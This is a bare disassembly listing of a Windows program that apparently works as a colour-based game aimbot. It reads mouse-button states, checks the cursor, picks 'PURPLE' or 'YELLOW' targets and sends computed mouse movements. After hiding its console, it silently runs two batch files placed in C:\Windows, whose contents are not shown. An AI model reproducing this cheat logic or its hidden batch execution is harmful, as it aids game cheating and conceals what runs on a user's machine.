mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____SUCCESS___LAUNCH_YOUR_GAME____
call fcn.1400022e0
lea rdx, [0x140002500]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.____THIS_PROMPT_WILL_CLOSE_IN_5_SECONDS____
call fcn.1400022e0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
call qword [sym.imp.KERNEL32.dll_FreeConsole]
mov edx, edi
lea rcx, str.C:Windows_rd.bat
call qword [sym.imp.KERNEL32.dll_WinExec]
mov edx, edi
lea rcx, str.C:Windows_rb.bat
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.PURPLE
lea rcx, [rbp + 0x428]
call fcn.14000b3e0
test al, al
je 0x140009167
mov dword [0x140090020], esi
jmp 0x140009184
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.YELLOW
lea rcx, [rbp + 0x428]
call fcn.14000b3e0
test al, al
je 0x140009184
mov dword [0x140090020], edi
lea rcx, [rbp + 0x10]
call fcn.14000b770
mov rcx, rax
call fcn.140002c40
cmp dword [rbp + 0x18], esi
jne 0x140009512
lea rcx, [rbp - 0x60]
call fcn.140002b60
lea rcx, [rbp - 0x70]
call fcn.140002b60
lea rcx, [rbp - 0x70]
call fcn.140002b60
lea rcx, [rbp - 0x68]
call fcn.140002b60
movd xmm0, dword [0x1400903b8]
xorps xmm8, xmm8
movsd xmm10, qword [0x140082bc8]
movsd xmm14, qword [0x140082ca0]
movaps xmm7, xmm10
divsd xmm7, qword [rbp + 0x378]
mov rbx, qword [rbp - 0x60]
mov rdi, qword [rbp - 0x70]
movsd xmm11, qword [0x140082be0]
movsd xmm15, qword [0x140082be8]
movaps xmm9, xmm7
movsd xmm12, qword [0x140082bd0]
movsd xmm13, qword [0x140082c20]
cvtdq2pd xmm0, xmm0
divsd xmm0, qword [0x140082c08]
divsd xmm9, xmm0
movd xmm0, dword [0x1400903bc]
mulsd xmm9, qword [0x140082bd8]
cvtdq2pd xmm0, xmm0
divsd xmm0, qword [0x140082c00]
divsd xmm7, xmm0
mulsd xmm7, qword [0x140082bd8]
lea rcx, [rbp + 0x10]
call fcn.140002b60
xorps xmm6, xmm6
mov rcx, qword [rax]
sub rcx, rbx
cvtsi2sd xmm6, rcx
mov ecx, 1
divsd xmm6, qword [0x140082c10]
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
movzx esi, ax
movzx eax, byte [rsp + 0x40]
cmp al, 1
jne 0x1400092df
cmp r12b, al
jne 0x1400092a3
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
setne r15b
cmp r13b, 1
jne 0x1400092bb
mov ecx, 5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
setne r15b
cmp r14b, 1
jne 0x14000933a
mov ecx, 6
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x1400092d7
movzx r15d, r14b
jmp 0x140009343
xor r15b, r15b
jmp 0x140009256
test al, al
jne 0x14000933a
cmp r12b, 1
jne 0x140009300
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r12b, al
je 0x140009300
test r15b, r15b
sete r15b
cmp r13b, 1
jne 0x14000931d
mov ecx, 5
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r13b, al
je 0x14000931d
test r15b, r15b
sete r15b
cmp r14b, 1
jne 0x14000933a
mov ecx, 6
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test r14b, al
je 0x14000933a
test r15b, r15b
sete r15b
test r15b, r15b
je 0x140009256
xorps xmm0, xmm0
lea rcx, [rbp + 0x358]
xor eax, eax
movups xmmword [rbp + 0x358], xmm0
mov dword [rbp + 0x358], Ordinal_33
mov qword [rbp + 0x368], rax
call qword [sym.imp.USER32.dll_GetCursorInfo]
cmp dword [rbp + 0x35c], 1
je 0x140009256
mov eax, dword [rbp + 0x2f8]
test al, 1
jbe 0x1400093eb
comisd xmm6, xmm11
jbe 0x140009256
lea rcx, [rbp + 0x30]
call fcn.140002b60
lea rcx, [rbp - 0x60]
mov rbx, qword [rax]
call fcn.140002b60
mov ecx, dword [0x140090014]
mov rdi, qword [rax]
mov eax, dword [0x140090010]
test ecx, ecx
jne 0x1400093bf
test eax, eax
je 0x140009256
movd xmm1, ecx
movd xmm0, eax
cvtdq2pd xmm0, xmm0
cvtdq2pd xmm1, xmm1
mulsd xmm0, xmm7
mulsd xmm1, xmm9
cvttsd2si edx, xmm0
cvttsd2si ecx, xmm1
call qword [0x140090030]
jmp 0x140009256
test al, 2
jbe 0x140009256
comisd xmm6, xmm11
jbe 0x140009256
lea rcx, [rbp + 0x308]
call fcn.140002b60
cmp dword [0x140090014], 0
mov rbx, qword [rax]
jne 0x140009423
cmp dword [0x140090010], 0
je 0x140009256
lea rcx, [rbp + 0x420]
call fcn.140002b60
movd xmm0, dword [0x1400903bc]
xorps xmm1, xmm1
cvtdq2pd xmm0, xmm0
mov rcx, qword [rax]
sub rcx, rdi
divsd xmm0, qword [0x140082c00]
cvtsi2sd xmm1, rcx
mulsd xmm0, xmm15
divsd xmm1, qword [0x140082c10]
divsd xmm1, qword [0x140082bf8]
mulsd xmm1, xmm0
test si, si
jne 0x140009475
movaps xmm3, xmm8
jmp 0x14000947d
movaps xmm3, xmm15
minsd xmm3, xmm1
xorps xmm2, xmm2
xorps xmm1, xmm1
cvtsi2sd xmm2, dword [0x140090014]
cvtsi2sd xmm1, dword [0x140090010]
mulsd xmm2, xmm9
addsd xmm1, xmm3
mulsd xmm2, qword [rbp + 0x380]
mulsd xmm1, xmm7
movaps xmm0, xmm2
andps xmm0, xmm14
comisd xmm10, xmm0
mulsd xmm1, qword [rbp + 0x380]
jbe 0x1400094cf
comisd xmm2, xmm8
jbe 0x1400094cb
movaps xmm2, xmm12
jmp 0x1400094cf
movaps xmm2, xmm13
movaps xmm0, xmm1
andps xmm0, xmm14
comisd xmm10, xmm0
jbe 0x1400094ff
comisd xmm1, xmm8
jbe 0x1400094fb
movaps xmm1, xmm12
cvttsd2si edx, xmm1
cvttsd2si ecx, xmm2
call qword [0x140090030]
jmp 0x140009256
movaps xmm1, xmm13
cvttsd2si edx, xmm1
cvttsd2si ecx, xmm2
call qword [0x140090030]
jmp 0x140009256
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov r8, qword [rbp + 0x348]
lea rdx, [rbp + 0x348]
lea rcx, [rbp + 0x348]
mov r8, qword [r8 + 8]
call fcn.14000cdf0
mov rcx, qword [rbp + 0x348]
mov edx, 0x40
call fcn.14006ed60
lea rcx, [rbp + 0x338]
call fcn.1400030f0
cmp r14, 0xf
jbe 0x140009587
lea rdx, [r14 + 1]
mov rax, rdi
cmp rdx, 0x1000
jb 0x14000957f
mov rdi, qword [rdi - 8]
add rdx, 0x27
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400095f2
mov rcx, rdi
call fcn.14006ed60
cmp rsi, 0xf
jbe 0x1400095ba
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x1400095b2
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400095f2
mov rcx, rbx
call fcn.14006ed60
mov rdx, qword [rbp + 0x460]
cmp rdx, 0xf
jbe 0x1400095fe
mov rcx, qword [rbp + 0x448]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400095f9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400095f9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ed60
xor eax, eax
jmp 0x14000608c
cmp rsi, 0xf
jbe 0x140009638
lea rdx, [rsi + 1]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140009630
mov rbx, qword [rbx - 8]
add rdx, 0x27
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140009670
mov rcx, rbx
call fcn.14006ed60
mov rdx, qword [rbp + 0x460]
cmp rdx, 0xf
jbe 0x14000967c
mov rcx, qword [rbp + 0x448]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140009677
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140009677
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14006ed60
mov eax, 0xfffffffe
jmp 0x14000608c
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call fcn.140001e30
int3
call fcn.140001d90
int3
call fcn.140001d90
int3
call fcn.140001d90
int3
call fcn.140001d90
int3
call fcn.140001e30
int3
call fcn.140001e30
int3
call fcn.140001e30
int3
call fcn.140001e30
int3